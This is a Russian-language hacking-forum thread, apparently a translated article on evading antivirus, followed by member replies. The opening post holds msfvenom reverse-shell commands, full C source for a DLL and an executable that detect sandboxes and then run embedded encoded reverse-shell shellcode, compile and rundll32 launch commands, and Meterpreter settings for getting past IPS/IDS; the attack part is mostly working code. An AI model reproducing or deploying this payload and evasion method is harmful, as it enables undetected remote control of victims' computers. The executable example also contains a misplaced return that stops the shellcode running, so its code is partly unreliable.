HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 22.08.2017, 12:54
Breed
Новичок
Регистрация: 16.05.2017
Сообщений: 0
С нами: 4733437

Репутация: 0
По умолчанию

Приветствую всех!
Во время блуждания по сети в поисках интересующих меня ответов на вопросы, мне попалась на глаза занимательная статейка, которую я просто перескажу в переводе. На мой взгляд, она служит неплохим предисловием к теме Ondrik8 в разделе, доступном пользователям групп Paid Access &GreyTeam
Итак, начинаем...

Общее
Как упоминается в статьях CIA Wikileaks, антивирусное программное обеспечение можно обойти, приложив некоторые усилия. И, несмотря на то, что эта статья предназначена в первую очередь для пентестеров, она также покажет, какими способами можно обойти антивирусные программы и ограничения.

Здесь представлены некоторые идеи о том, как работают [S]xak[/S] пентестеры. Будут рассмотрены некоторые основы, которые используются для обхода антивирусного программного обеспечения, но, как вы сами понимаете, этим данный список не ограничен...

Иногда при тестировании на проникновение можно столкнуться с ситуацией, когда антивирусное программное обеспечение всегда обнаруживает ваши полезные нагрузки. В этих случаях вам нужен хороший способ обхода антивирусов. Описанные ниже методы довольно общи, но работают практически со всеми антивирусами.

Поскольку основная полезная нагрузка выполняется с помощью msfvenom, можно утверждать, что полезная нагрузка(метод) должна "палиться" AV.

Кстати, метод обхода антивирусов также уклоняется от песочницы. Уклонение так же просто, как попытка открыть какой-либо файл, который обязательно существует при каждой установке-использовании. Например. "C: \ windows \ system.ini" - обычный, но важный ini-файл. Если этого не существует, мы находимся в среде песочницы, созданной антивирусным программным обеспечением, поэтому мы просто ничего не делаем. Когда осуществляется переход в нормальную среду, файл найден, тогда полезная нагрузка выполняется. Отправив файл на Virustotal.com, мы получим вероятность обнаружения 1/59 - всего одно антивирусное ядро обнаружило "подставу".

Кстати, напоминание новичкам и забывчивым (я добавляю от себя лично):
Отправляя файлы наVirustotal.com, вы сами "палите" методы обхода, способы упаковки и шифрования, ведь антивирусные компании получают файл в качестве образца. И он будет немедленно внесен в базы (и способ его получения).

Есть еще онлайн-сканеры. К примеру, я вот вытащил из обсуждений на форуме:
https://www.pscan.xyz/
http://nodistribute.com/
https://www.ziscan.com/
http://stopvir.us/

Используемое программное обеспечение:
  • Metasploit (msfvenom, multi/handler)
  • MinGW
  • Notepad
Ограничения
Нужно отметить, что Windows Defender и, возможно, большинство антивирусных программ станут "сигналить" о том, что "какая-то программа пытается подключиться к Интернету". Конечно, в ситуации тестирования на проникновение это может быть показательно по причине грубого написания кода эксплойта, который - напоминаю - нужен нам исключительно для тестирования на проникновение. Тем не менее, если вам удастся получить оболочку, изменив .dll какого-либо программного обеспечения и(или) обманув пользователя для запуска исполняемого файла, вы можете легко получить управление атакуемым ПК. Здесь можно перенести шеллкод на какой-то уже существующий процесс, который уже имеет доступ к Интернету, использовать существующие программы для запуска вредоносного кода, чтобы обойти ограничения на whitelisting. Способов избежать ограничений - множество.

Конечно, в сети атакуемых могут быть некоторые системы межсетевых экранов /IPS /IDS, но их также можно пробовать обойти, например - используя SSL-кодированное соединение обратно к жертве. Но этот вопрос выходит за рамки данной статьи и гораздо серьезнее, чтобы быть рассмотренным в открытой ветке.

Настройка полезной нагрузки
Полезная нагрузка генерируется с помощью msfvenom, который является частью пакета Metasploit. С msfvenom можно создавать исполняемые файлы и dll-файлы прямо по ходу организации атаки, но, поскольку мы пытаемся уклониться от антивируса, то мы создаем полезную нагрузку в формате вывода C-стиля с помощью следующей команды:

Код:


Код:
msfvenom -p windows/shell/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c
DLL Method
Одним из способов обхода антивирусного программного обеспечения может быть создание вредоносного *.dll-файла и подмена некоторых существующих .dll на него несколькими способами.

Как обычно .exe-файлы считаются опасными, они на виду и запоминаются в процессе работы даже простыми пользователями. Но DLL-файлов гораздо больше и простые пользователи обычно не распознают DLL-файлы, как вредоносные. А потому в них куда проще внедрить участок кода.
Для целей тестирования этот фрагмент кода - это очень грубый .dll-файл, который можно запустить из командной строки и который не имеет каких-либо других функций.

Код:


Код:
#include
#include
#ifdef EXPORTING_DLL
  extern __declspec(dllexport) void Checksandboxing() ;
#else
  extern __declspec(dllimport) void Checksandboxing() ;
#endif

extern "C" BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpvReserved
) {
switch(fdwReason) {
    case DLL_PROCESS_ATTACH:
         CheckSandboxing();
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    default:
        break;
    }
return TRUE;
}

void CheckSandboxing()
{
  /** Test for some existing system file, sandbox evasion **/
  std::ifstream dllfile("c:\\windows\\system.ini", std::ios::binary);
  if (!dllfile)
  {
       MessageBox( NULL, TEXT("Running in sandbox"), TEXT("Sandbox"), MB_OK);    
  }
  else
  {
       MessageBox( NULL, TEXT("Real system, running exploit"), TEXT("Real"), MB_OK);     
      
      
    /** msfvenom -p windows/shell/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c  **/
    unsigned char shellcode[] =
    "\xbd\xf8\x13\x49\xa2\xda\xcf\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
    "\x6f\x83\xc2\x04\x31\x6a\x0f\x03\x6a\xf7\xf1\xbc\x19\x44\xae"
    "\x68\x86\x91\x90\x4c\x42\x01\xd9\x32\x82\x80\x90\xa5\xe5\x4f"
    "\xc7\x36\x5b\x7b\x64\xfd\x67\x22\xc7\x73\x73\xbb\xf3\x22\x3e"
    "\x09\x29\x81\x17\x8d\xb9\x87\x1f\xd4\x8c\x23\xc9\x65\x07\xc9"
    "\xc0\xd9\x46\x6d\xe3\xff\x34\x31\x74\xa7\x67\xec\x23\xb4\x53"
    "\x83\x31\xbe\x71\xda\x48\x30\x28\x16\x1e\xb9\x5e\x50\xa5\xf0"
    "\xe7\x80\x07\x07\x04\x91\xab\xfc\x2b\xd1\x74\xcd\x3d\x11\x7e"
    "\x77\xf5\x4b\xd4\x6a\x9f\x2d\xec\x28\x72\xd6\xa7\x87\x56\x97"
    "\x89\xe1\x2b\x46\x72\x04\x56\x23\xd2\x17\x96\x62\x85\x7c\xd0"
    "\x9e\xe8\x24\x92\x59\x3f\x58\x3e\xf4\x66\xf0\xdf\x56\xf0\xf0"
    "\x72\x96\x21\xae\xb7\x9c\x26\x33\x7d\x11\xec\x14\x44\x0c\xb9"
    "\x0d\x50\xca\xb6\xf6\xb3\xab\xd7\x93\x6d\xfb\xe9\x20\x6b\x0f"
    "\xf4\xda\x61\xb3\xed\x40\xf9\xea\xcc\xba\xd4\x92\xbe\x15\x11"
    "\xe4\xba\x22\xdc\x43\xb7\x15\xeb\x5d\x45\x79\x41\xa5\x25\xe7"
    "\x8e\xa2\x8e\x97\x7d\xae\xf4\x1e\x50\x22\x4c\xb7\xfc\x08\x21"
    "\xed\xb4\x1d\xde\xff\x1a\x7a\x37\x98\xa3\xcd\x47\xfa\x10\x1a"
    "\xff\x57\x52\x6c\xff\x39\x92\xe6\x53\x05\x67\xd9\xcf\x51\x01"
    "\x4f\x0c\x18\x66\x81\x4a\x02\x2d\x79\xe5\x0c\x80\xe3\xe4\xce"
    "\x61\x18\xc2\x9c\xc8\xe5\xda\x31\xad\x2b\x63\xe3\xae\xf2\x81"
    "\xd0\x0d\x26\xd9\xe5\x64\x73\x8a\x70\x71\x2f\x88\x4c\x72\xba"
    "\xef\xd5\x26\x39\x2c\x42\xe6\xd9\x93\xb7\x69\xd9\x49\xcd\x72"
    "\x10\x52\x1e\x76\x11\xb5\xa9\x6c\xc7\x45\xcc\xa9\xf0\x83\x75"
    "\xa7\x85\xcb\x34\x0a\x50\x1d\xf5\xe5\x6c\xbc\x88\xda\xe1\x0f"
    "\xa9\xe8\xe8\xf0\xc4\x1e\x83\xa1\xdf\xad\xaa\x9f\x1d\xa7\x82"
    "\x71\x6c\xbd\x8b\x02\x6d\x54\xf7\x42\xae\x68\x24\x9f\xf8\x73"
    "\xb9\x8a\x67\xa6\xef\x32\xdf\x21\xf2\x9a\xea\x10\xc6\x19\xcf"
    "\x11\x55\x61\xfc\xfe\xf1\x51\x49\xbc\x04\x9f\xe0\x9a\x09\x4e"
    "\x19\x2f\xb1\x20\x76\xac\x90\x3d\x48\x2b\x24\x23\xa6\xa1\x2e"
    "\x85\x35\xf7\x47\x8f\x49\xa3\xa0\x7a\x65\x22\x17\x5d\x72\x31"
    "\xb3\x2e\x38\xdf\xe7\xea\x83\xdd\xdf\xdd\x9c\xdb\x5a\x46\x4d"
    "\xd3\xa0\x31";
   

    LPVOID lpAlloc = NULL;
    void (*shellfunc)();

    /** Allocate memory for shellcode (read,write,execute) **/
    lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if(lpAlloc == NULL)
    {
        printf("Error allocating memory!\n");
    }
    else
    {
        memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode)+1);
        shellfunc = (void (*)())lpAlloc;
        shellfunc();       
    }
   
    /** Sleep for a bit **/
    Sleep(500);
  }
}
Компиляция .dll выполняется следующим образом с помощью MinGW

Код:


Код:
"c:\MinGW\bin\mingw32-g++.exe" -c c:\dll_test\main.cpp
"c:\MinGW\bin\mingw32-g++.exe" -shared -o exploittest.dll main.o -Wl,--out-implib,libexample_dll.a
Теперь .dll можно проверить с помощью антивирусного программного обеспечения, проверяя с Virustotal.com: (напоминаю, что эти действия автора не рекомендуются!)

Не обнаружено ничего (0/60) антивирусным программным обеспечением. (а вот после проверки - наверняка будет!)

Теперь, чтобы проверить эксплойт в деле, установим multi/handler meterpreter для ожидания соединения.
И запускаем полезную нагрузку из эксплойта с помощью следующей команды в командной строке:

Код:


Код:
Rundll32 exploittest.dll,@DllMain
Шеллкод внутри .dll подключается обратно к атакующему, а оболочка теперь создана! Конечно, в реальной ситуации это остановит всю работу, но оболочка - это далеко не единственное, что может быть помещено в DLL-файл.

Исполняемые
Как и с .dll-файлом, проверим уклонение от песочницы, проверяя какой-либо существующий системный файл. Если файл найден, выполнение кода переносится в полезную нагрузку.

Код:


Код:
#include
// msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c
char code[] =
"\xdb\xda\xd9\x74\x24\xf4\x5e\x33\xc9\xb8\xcd\x9f\x5f\xe9\xb1"
"\x6f\x31\x46\x18\x83\xee\xfc\x03\x46\xd9\x7d\xaa\x34\x23\x58"
"\x21\xe3\x57\x06\x74\x2d\xf6\x97\x42\x9b\x31\x56\x3a\xed\xb4"
"\x80\x38\xc8\x32\xb0\x4b\xc6\x1e\x22\x25\xdb\xc1\xd8\x32\x06"
"\xc8\x19\x31\x8f\x0f\x09\x7c\xf8\x63\x78\x9d\x37\x00\x37\x86"
"\x02\xf6\x63\xe6\x8b\xfc\xc1\xba\x1a\x88\x74\x60\xed\xc0\xad"
"\x2a\x5b\xf2\xd3\x80\x19\xa9\x0e\x2e\x0c\x88\x36\xcf\xdb\x27"
"\x84\x06\xbf\x25\x91\x64\x09\x1d\xf1\x19\x2f\xd6\xa2\x6d\x6d"
"\x2a\x4e\xeb\xa4\x00\x91\x35\x57\x28\xbd\xd6\x10\x13\xad\x5d"
"\xea\x23\x25\x9d\x14\x11\xc5\x8e\x8e\x46\x7b\x28\xe1\x3b\xf3"
"\xd2\x4e\x39\xf0\x5d\x4a\xce\x64\xa7\x82\xc2\x7f\x72\x34\x96"
"\xb4\xf9\x8d\xfe\x94\x11\x37\x88\xc3\xd7\xcb\xb5\x37\xb3\x1c"
"\xc2\x58\xcc\x08\x37\x35\xea\x67\xff\x97\x01\x92\xf8\x33\x82"
"\x5d\x3e\x48\xff\xe3\x96\x75\x18\x95\xcf\xc4\x07\xe5\xa4\x73"
"\x38\xd4\x21\xe1\xb4\x96\x40\x52\x76\xdf\xe1\x60\x2c\xaf\x5d"
"\xb3\xe4\xff\x89\x6b\x49\x3e\x7e\x2d\x0b\x33\xa0\x54\x8d\x9b"
"\x40\x5b\x2e\xfe\x62\x1f\x48\x21\x69\x6e\x99\x08\xc2\xc2\xc3"
"\x69\x53\x3f\x84\x8e\x79\xdb\xca\xeb\x3f\xcf\xd8\x8c\xf8\x0a"
"\xed\x59\xcb\x6e\x82\xb4\x07\x00\xc3\x13\xed\x2e\x67\xf5\xc8"
"\xfd\x1c\x24\x6a\x95\x3d\x90\x43\x29\xba\x29\xff\x22\x2b\x48"
"\xa7\x7d\xb0\x3d\x56\x71\x30\x95\xdd\x69\x51\x2e\x0f\x3d\x5d"
"\x19\xbd\xfa\x06\xf9\x02\xfd\xed\x08\x27\xb8\x21\x11\xd7\xc4"
"\xd5\xca\xbb\x2a\xd4\xe7\x64\x65\x81\x50\x7b\xbd\xbd\xcb\xc0"
"\x15\x05\xff\x78\xee\x8b\x38\x2b\x28\x52\x56\xb2\x49\xc4\x44"
"\x39\xba\x76\x84\xeb\x0d\xa4\x53\x38\x4e\x77\x05\xc4\xa7\x94"
"\xd4\xe9\xbf\x1d\xb7\xc1\x6f\x5f\xa6\x62\xe4\x91\x48\x3c\xd4"
"\x6e\xce\xf1\x5f\xfd\x6c\x52\x8c\x59\x5c\x71\x63\x30\x81\x2e"
"\x63\x6f\xbc\x43\x0b\xab\x37\xdb\xbf\x48\x22\xda\xdb\x3d\x04"
"\xab\x5b\x6e\xfd\x3e\xfb\xfe\xb8\x4b\xa8\x72\xeb\x71\xbb\x0a"
"\xeb\xb2\x56\xcb\xb9\x14\xcf\x7a\xa5\xc3\x5d\x34\x4f\xfa\x55"
"\x54\x9d\x10\xe5\x26\xbc\x61\x56\xc7\x79\x8d\x64\x7a\x06\x50"
"\x07\xdd\xc6";

int main(int argc, char **argv)
{
  FILE *fp = fopen("c:\\windows\\system.ini", "rb");
  if (fp == NULL)
  return 0;
  fclose(fp);

  printf("Launching...again...");
  int (*func)();
  func = (int (*)()) code;
  return 0;
  (int)(*func)();
  printf("...DONE!");
}
Компиляция выполняется просто путем выпуска:

Код:


Код:
c:\MinGW\bin\mingw32-gcc.exe exploittest.c -o exploittest.exe
В этот раз после проверки в онлайн-сканере только Baidu заметил, что это - троян. Интересующиеся могут пометить для себя: а ПОЧЕМУ и вернуться к этому вопросу позднее.
Чтобы проверить это, multi/handler может быть настроен так же, как в DLL-методе чуть выше (обратите внимание, на другую полезную нагрузку) просто выполнив файл.

Злонамеренная полезная нагрузка через системы /IPS /IDS
В случае наличия систем /IPS / IDS перед жертвой эти файлы должны пройти через них, но они будут пойманы. Если фактические файлы будут пойманы, просто создайте защищенный паролем ZIP-файл и получите файлы, к примеру, через HTTP. Итак, что-то вродеwindows / meterpreter / reverse_httpsможно использовать в качестве полезной нагрузки со следующими изменениями параметров:

Код:


Код:
EnableStageEncoding true
MeterpreterServerName Nginx
MeterpreterUserAgent Mozilla / 5.0 (Windows NT 6.1) AppleWebKit / 537.36 (KHTML, например, Gecko) Chrome / 41.0.2228.0 Safari / 537.36
StageEncoder (один из ниже)
x86 / fnstenv_mov
x86 / shikata_ga_nai
С этими изменениями можно пытаться пройти через брандмауэры с включенными системами /IPS / IDS.
Ну и если все остальное терпит неудачу, то всегда есть dnscat

ВЫВОД

Поскольку атакуемый получит эксплойт (троян), который не обнаружен антивирусными программами, вы получаете управление атакуемым компьютером. Конечно, Windows Defender и антивирус имеют ограничения на новые подключения, но, к сожалению, эти сообщения игнорируются очень часто. Поскольку антивирус ничего не находит, многие чувствуют себя в безопасности.

Нет и еще раз нет! Основная часть ответственности за безопасность по-прежнему лежит на плечах пользователей, а антивирусам / брандмауэрам /IPS /IDS нельзя доверять, чтобы быть защищенными.
 
Ответить с цитированием

  #2  
Старый 22.08.2017, 13:28
kot-gor
Новичок
Регистрация: 07.09.2016
Сообщений: 0
С нами: 5095710

Репутация: 0
По умолчанию

Как не зайду на форум, всегда что нибудь новенькое и интересное... как то я упустил утилиту как dnscat,посмотрел в гугле , сейчас уже есть dnscat2. Еще раз убеждаюсь, что бы быть в теме, нужно обмениваться опытом, и постоянно учится.
 
Ответить с цитированием

  #3  
Старый 22.08.2017, 14:36
Breed
Новичок
Регистрация: 16.05.2017
Сообщений: 0
С нами: 4733437

Репутация: 0
По умолчанию

kot-gor - спасибо. Я этот момент что-то упустил. Ссылки на DNScat и клиента под PowerShell под него:
И dnscat2, и dnscat2-powershell
 
Ответить с цитированием

  #4  
Старый 22.08.2017, 23:08
Breed
Новичок
Регистрация: 16.05.2017
Сообщений: 0
С нами: 4733437

Репутация: 0
По умолчанию

Цитата:

Dmitry88 сказал(а):

Но судя по всему это перевод

А никто не делал из этого тайны:
Цитата:

Brib сказал(а):

...занимательная статейка, которую я просто перескажу в переводе.

Видишь ли, я имею привычку при серфинге и поиске воткнуть приготовленную флешку в качестве временного хранилища и скидывать туда в заранее созданную директорию (Temp, к примеру) в формате PDF мало-мальски заинтересовавший меня материал, чтобы потом внимательно изучить и нужное сохранить. Это очень удобно: CTRL+P -> Сохранить как PDF (для "окон" в 10-тке) или "Распечатать на принтер PDF" для W7. (на работе имею только "окна")
Заблокированные к сохранению странички я успешно "сканю" ScreenShot Reader-ом и также сохраняю в любом удобном мне формате. При хорошем по мощности ПК все это занимает 1-3 секунды. Как раз эту статью я сканировал, а потому ссылок не сохранилось.
Но для грамотного пользователя это не беда: спецкоманды Google и ключевые слова точно укажут источник. Об этом знают все (я полагаю)

Вторая причина, по которой я бы и в этом случае не указал бы источник (я ведь не присваиваю себе авторство, о чем сказал вначале статьи): данная статья - это предисловие к более серьезному вопросу с более серьезными инструментами, которые потому и скрыты из открытого доступа. Для специалиста она - пшик, обобщение, он это и так знает, потому что использует на практике.
А новичок вряд ли заинтересуется оригиналом, поскольку если он владеет английским языком на уровне понимания беглого чтения, то я небезосновательно полагаю, что вся эта информация ему уже знакома. Ведь и мы черпаем информацию из забугорных сайтов по причине безнадежного отставания России по части компьютеров и компьютерных технологий.

Но я учту на будущее это пожелание.
 
Ответить с цитированием

  #5  
Старый 23.08.2017, 15:29
Breed
Новичок
Регистрация: 16.05.2017
Сообщений: 0
С нами: 4733437

Репутация: 0
По умолчанию

Цитата:

IioS сказал(а):

Вот это самое паршивое... хотя и очень понятно, ведь все хотят "награды" за свои труды,и знания.

К сожалению, это неизбежно, как закат солнца...
Я сам пришел сюда не так давно, это видно внимательным. И когда-то тоже так думал.
Но - пойми - это не жадность, а осознанная необходимость.
Поясню: расположишь ссылку на софт или саму программу - а где лицензия? Расположишь книгу - а где права на нее? Кряк или перескан - нарушение авторских прав. Станешь публиковать способы обходов защиты, взлома и вторжений - прищучат через отдел "К" (противоправные действия).
Это не только здесь так. Везде. А чтобы избежать "кулхацкеров", которые сразу "запалят" по неопытности и эксплойты, и крипторы, и уязвимости, новичок должен показать, что он понимает ЧТО и КАК делает. Если неопытен - научится (было бы желание).
Прости за сравнение, это к тебе не имеет никакого отношения: это все равно, что дать обезьяне пулемет и вывести на Красную площадь. Хрен ее знает, - когда она доберется до спускового крючка, когда нажмет и куда будет направлен ствол!
Так и тут: цепанёт эдакий "крутец" хороший инструмент, прицелится на выложенную (к примеру) здесь уязвимость 0-day и полезет, грубо говоря, "Сбербанк-онлайн" вскрывать. А когда возьмут за задницу и прижмут, то он и скажет, ГДЕ это все раздобыл....
Так что не обижайся. Ты участвуй, помогай другим и делись, чем можешь. Покажи, что хочешь быть тут.

И я выскажу чисто свое мнение насчет "наград"...
Надеюсь, никто не станет возражать известной фразе: "Всякий труд должен быть оплачен!".
Ну так вот тебе и ответ вместо обид: если под словом "награды" ты подразумевал деньги, то тогда плати - и получишь доступ через Paid Access. А если "награды" для тебя это баллы, коэффициенты и ранги, то, соответственно, умножай их, участвуй, делись и придешь к аналогичному результату!

Цитата:

Dmitry88 сказал(а):

пдф принтер иногда ужастно сайты режет

Есть такое дело
В W10 появилась хорошая функция: Microsoft Print to PDF
Вот он сохраняет без искажений или они минимальны. Даже ссылки и их свойства работают.
А для W7 я много чего перепробовал и остановился на Corel PDF Creator (прицепил пример). По искажениям - довольно сносно, вот только без ссылок. Они отмечены, но неактивны. Если кто нашел что-то получше - поделитесь.
 
Ответить с цитированием

  #6  
Старый 23.08.2017, 17:02
Breed
Новичок
Регистрация: 16.05.2017
Сообщений: 0
С нами: 4733437

Репутация: 0
По умолчанию

Мы отлично поняли друг друга. Для меня тоже информация (то бишь - знания) дороже денег.
 
Ответить с цитированием

  #7  
Старый 23.08.2017, 21:45
ghost
Новичок
Регистрация: 27.04.2010
Сообщений: 0
С нами: 8442422

Репутация: 0
По умолчанию

Статья как всегда на высоте!
 
Ответить с цитированием

  #8  
Старый 24.08.2017, 01:04
Breed
Новичок
Регистрация: 16.05.2017
Сообщений: 0
С нами: 4733437

Репутация: 0
По умолчанию

Спасибо. Пробный шар.

 
Ответить с цитированием

  #9  
Старый 25.08.2017, 09:10
yvv4recon
Новичок
Регистрация: 21.06.2017
Сообщений: 0
С нами: 4681779

Репутация: 0
По умолчанию

Автор, меня интересует, а что должно в коде идти после #include ?
Просто я не понял, что там подключаешь? Или это опечатка?
Дай ссылку пожалуйста на исходники своего примера!
 
Ответить с цитированием

  #10  
Старый 25.08.2017, 12:07
Breed
Новичок
Регистрация: 16.05.2017
Сообщений: 0
С нами: 4733437

Репутация: 0
По умолчанию

Цитата:

yvv4recon сказал(а):

а что должно в коде идти после #include ?

Все 1:1.
Только в КАКОМ коде? В топе их 2 с интересующими моментами.
Показываю скрины с обоих (и это не античат ):

Цитата:

yvv4recon сказал(а):

Дай ссылку пожалуйста на исходники своего примера!

Sorry...
Извини, братишка, - ищи материал сам. Поверь - это очень просто.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.